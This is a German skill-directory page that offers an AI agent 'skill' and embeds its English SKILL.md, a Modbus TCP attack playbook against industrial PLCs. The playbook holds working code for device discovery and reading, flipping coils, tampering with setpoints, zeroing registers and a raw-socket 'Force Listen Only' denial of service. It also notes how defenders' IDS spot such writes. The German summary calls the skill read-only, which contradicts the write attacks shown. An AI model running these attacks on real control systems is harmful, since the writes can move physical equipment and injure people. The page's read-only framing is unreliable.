Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #14038

ics-modbus

Was er macht

Dieser Leitfaden behandelt Sicherheitsprüfungen für Modbus TCP, ein einfaches Protokoll vieler industrieller Steuerungen. Er richtet sich an Industriesicherheitsteams mit schriftlicher Freigabe.

Wann du ihn nutzt

  • ✓Wenn eine autorisierte Prüfung Modbus-Geräte im Netzwerk finden muss.
  • ✓Wenn du prüfen willst, ob Modbus-Geräte aus dem Internet erreichbar sind.
  • ✓Wenn ein Team Hersteller und Firmware bestimmen will, ohne Einstellungen zu ändern.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Kannst du mit reinen Leseschritten prüfen, ob eines unserer Modbus-Geräte von außerhalb unseres Netzwerks erreichbar ist?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent prüft den üblichen Modbus-Port, liest die Geräteidentifikation, wo erlaubt, und meldet, welche Geräte offen liegen. Er ändert keine Werte.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

Modbus TCP Attack

Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.

Discover

# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24

# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)

Read everything

# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:",   c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:",      c.read_holding_registers(0, 100).registers)
print("Input regs:",     c.read_input_registers(0, 100).registers)
c.close()
'

# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5  # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5  # read holding regs

# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5

Identify the device (FC43 / MEI)

# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}

Write attacks

Single coil flip (DO output)

c.write_coil(address=10, value=True)   # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close

Tamper holding registers (process setpoints)

c.write_register(address=100, value=9999)   # often a setpoint or limit

Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")

# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu  = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)

Bulk-write registers (often unauthenticated)

c.write_registers(address=0, values=[0]*100)   # zero-out 100 registers

Common findings

Finding Impact
Modbus on internet Full process control of whatever the PLC drives
No firewall between IT and OT VLAN Lateral move from compromised desktop to PLC
Modbus over serial via TCP gateway (Moxa, Lantronix) Same primitives over WAN
HMI uses default Modbus polling Coil writes survive HMI refresh — persistent tamper
Unit ID 0 broadcast Single packet reaches every slave (no response, but write succeeds)

OPSEC + safety

  • Real-world warning: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people.
  • Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — modbus_function_5 and modbus_function_15 are distinctive in their telemetry.
  • Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.

References

  • "Modbus Hacking" — Joel Langill (recurring S4 Conference talks)
  • pymodbus docs — github.com/pymodbus-dev/pymodbus
  • nmap NSE modbus-discover.nse
  • IEC 62443 (defender baseline; useful for understanding what's in-scope)
Häufige Fragen

Hat Modbus eine Authentifizierung?

Nein. Der Leitfaden sagt, Modbus hat weder Authentifizierung noch Transportverschlüsselung.

Was ist die Geräteidentifikation?

Eine Standardanfrage, die Hersteller, Modell und Firmware-Angaben zurückgibt.

Warum ist Internet-Exposition ein Problem?

Der Leitfaden weist darauf hin, dass offene Modbus-Geräte von jedem gesteuert werden können, der sie erreicht.

Details

Originalbeschreibung des Autors

Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#14038
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills